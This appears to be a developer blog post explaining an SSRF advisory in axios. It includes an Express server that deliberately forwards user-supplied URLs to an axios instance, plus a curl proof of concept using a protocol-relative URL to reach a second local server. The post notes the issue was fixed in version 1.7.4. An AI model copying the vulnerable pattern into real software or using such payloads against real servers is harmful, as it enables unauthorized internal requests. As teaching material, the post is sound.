The sad story of node update!

Yesterday, I was happily finishing an upgrade at work, and everything seemed perfect 😄. All the dependencies migrated smoothly, and my npm audit looked great 🚀. But then…

Image description

Server-Side Request Forgery in axios ⚠️
https://github.com/advisories/GHSA-8hc4-vh64-cxmj

Image description

I spent a lot of time fixing things, only to see that stupid message 😡. My OCD was driving me crazy 🤯.

And, I said, hmmm how exactly this error works? what the hell is SSRF? I’ll try to explain fast the concept and share with you the discovery 😀

SSRF, or Server-Side Request Forgery, is like tricking your server into being an unintentional errand boy 🕵️‍♂️. It’s when a hacker gets your server to make requests to places it shouldn’t, kind of like sending your dog to fetch a stick but it comes back with a bomb instead 💣. (from ChatGPT 😍)

In code please!

Normally, axios works, in your server when you need to do some external request to https://some-domain.com/api/, you can do something like this:

const instance = axios.create({ baseURL: 'https://jsonplaceholder.typicode.com/', timeout: 1000, headers: { accept: 'application/json' }
});

In theory, this is our innocent and pure server meant to fetch resources from jsonplaceholder:

const axios = require('axios');
const express = require('express'); const instance = axios.create({ baseURL: 'https://jsonplaceholder.typicode.com/', timeout: 1000, headers: { accept: 'application/json' },
}); const app = express();
const port = 3000; app.use(express.json()); app.post('/fetch-data', async (req, res) => { const url = req.body.url; try { const response = await instance.get(url); console.log(response.data); res.json(response.data); } catch (error) { console.error(error); console.log('URL:', url); res .status(500) .json({ message: 'Error fetching data', error: error.message }); }
}); app.listen(port, () => { console.log(`Server running on http://localhost:${port}`);
}); 

You can try this one on terminal:

curl -X POST http://localhost:3000/fetch-data \ -H "Content-Type: application/json" \ -d '{"url": "/todos/1"}' 

The response is like this:

{"userId":1,"id":1,"title":"delectus aut autem","completed":false}

everything is beautiful, but…

Image description

Now, if you have another server (acting as a malicious server) on http://localhost:4000, what happens when the user tests it:

const axios = require('axios');
const express = require('express'); const app = express();
const port = 4000; app.use(express.json()); app.get('/private-data', async (req, res) => { const url = req.body.url; try { console.log('Private URL:', url); console.log('WTF??????'); res.send({ message: 'Data fetched' }); } catch (error) { console.error(error); console.log('URL:', url); res.status(500).send('Error fetching data'); }
}); app.listen(port, () => { console.log(`Server running on http://localhost:${port}`);
}); 

Try again

curl -X POST http://localhost:3000/fetch-data \ -H "Content-Type: application/json" \ -d '{"url": "//localhost:4000/private-data"}'

you will get this response:

{"message":"Data fetched"} # data from other server!

“So, this is really bad 😱 because you’re trusting the axios instance. The good news is that within a day, the issue in axios was successfully fixed in version 1.7.4 🎉.”

If you want to play with this, please check the experiment here 👇


Discover more from Coursity

Subscribe to get the latest posts sent to your email.

Leave a Comment

Your email address will not be published. Required fields are marked *

Discover more from Coursity

Subscribe now to keep reading and get access to the full archive.

Continue reading

Scroll to Top
Cloudystorage offers affordable online storage solutions tailored to meet the needs of both individual users and businesses.